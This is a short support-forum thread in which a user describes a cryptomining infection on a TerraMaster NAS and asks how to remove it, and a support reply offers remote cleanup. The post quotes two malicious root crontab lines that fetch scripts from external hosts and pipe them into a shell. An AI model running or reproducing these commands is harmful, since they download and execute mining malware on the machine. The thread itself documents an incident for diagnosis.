TerraMaster Official Forum

Hello.

I am facing issue with my NAS F5-221. Current TOS version 4.1.21-2003031748. The CPU is all the time at 100%, i have read a bit on it and it seems to be a Mining Virus.
I will like to try to clean it without losing any data.

Process causing issue:
n4tpbi6fn4i8a4o

before the process was:
kinsing

Now on root crontab:
30 23 * * * (curl -s http://w.apacheorg.top:1234/xmss||wget -q -O - http://w.apacheorg.top:1234/xmss )|bash -sh

Before on Crontab:
* * * * * wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1

So not sure if i clean one mining and now I have other. Can you please support me on it?
Also want to know, how it this end up on my NAS?

I have try to create a script to kill the virus but it seems to not be effective.
Thanks

Please contact support team, we will remotely check it and deleted the infected files via remote session.